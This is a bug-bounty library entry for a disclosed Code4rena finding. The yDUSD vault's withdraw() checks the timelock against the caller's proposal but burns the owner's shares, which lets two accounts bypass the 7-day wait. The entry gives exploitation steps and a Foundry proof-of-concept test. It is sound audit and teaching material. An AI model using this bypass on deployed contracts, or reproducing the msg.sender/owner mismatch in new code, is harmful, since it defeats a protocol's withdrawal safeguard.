# Users can evade the yDUSD vault's withdrawal timelock mechanism

yDUSD withdraw() reads the timelock from msg.sender's proposal but withdraws from owner, letting a user bypass the 7-day wait using another account's matured proposal.

- Payout: Audit contest
- Severity: medium
- Program: DittoETH
- Found by: serial-coder
- Disclosed: 2024-07-29
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-07-dittoeth-findings/issues/9
- Library page: https://bugbountylibrary.com/r/c4%3A2024-07-dittoeth%3AM-01
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:medium tech:evm tech:solidity vuln:access-control vuln:business-logic

**Target:** yDUSD ERC4626 vault withdraw()
**Root cause:** withdraw() looks up withdrawals[msg.sender] for the timelock check but performs _withdraw against the owner parameter, so the proposal and the withdrawn account need not match.
**Steps:**
1. Account A deposits DUSD and calls `proposeWithdraw(amount)`; wait 7 days.
2. Account B deposits DUSD into the vault.
3. B calls `approve(A, type(uint256).max)` on yDUSD shares.
4. A calls `withdraw(0, B, B)` — timelock check uses A's matured proposal, shares burned from B, DUSD sent to B immediately.
**How found:** Code review of withdraw() noticing the timelock state is keyed on msg.sender while the burn/transfer targets the owner argument, an inconsistency between the checked and acted-upon identities.
**Exploitation:** Attacker controls two accounts: one pre-proposes a withdrawal and waits 7 days; the second deposits and approves the first to spend its shares. The first account calls withdraw() with owner=second account, passing the timelock check with its own matured proposal and instantly extracting the second account's DUSD.
**Insight:** In ERC4626 overrides, verify that the account whose proposal/state is checked is the same account whose shares are burned; any msg.sender vs owner mismatch in a timelock-gated withdraw is a bypass.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test evading withdrawal timelock**

```
function test_PoC_yDUSD_Vault_BreakingWithdrawalInvariant() public {
    // Require: import {IyDUSD} from "interfaces/IyDUSD.sol";

    // ----- Setup PoC -----
    // Mint dusd to sender
    vm.prank(_diamond);
    token.mint(sender, DEFAULT_AMOUNT);

    // Match at oracle
    fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, extra);
    fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, extra);

    skip(C.DISCOUNT_WAIT_TIME);
    // ----- Setup PoC -----

    // Receiver deposits DUSD into the vault to get yDUSD
    vm.prank(receiver);
    rebasingToken.deposit(DEFAULT_AMOUNT, receiver);

    // Receiver proposes for withdrawal
    vm.prank(receiver);
    rebasingToken.proposeWithdraw(DEFAULT_AMOUNT);

    // Skip 7 days to avoid the ERC4626WaitLongerBeforeWithdrawing error
    skip(7 days);

    // Sender deposits DUSD into the vault to get yDUSD
    vm.prank(sender);
    rebasingToken.deposit(DEFAULT_AMOUNT, sender);

    // To exploit the vulnerability, perform the following steps:
    //
    // 1. Sender approves shares transfer for Receiver (another Sybil account)
    vm.prank(sender);
    IyDUSD(_yDUSD).approve(receiver, type(uint256).max); // Require: import {IyDUSD} from "interfaces/IyDUSD.sol";

    // 2. Sender withdraws DUSD assets from his account using Receiver's proposed info
    //
    // As a result, Sender neither needs to execute the proposeWithdraw() nor wait for any second to withdraw his assets
    vm.prank(receiver);
    rebasingToken.withdraw(0 /* unused */, sender /* receiver */, sender /* owner */); // Use Receiver's proposed info
}
```

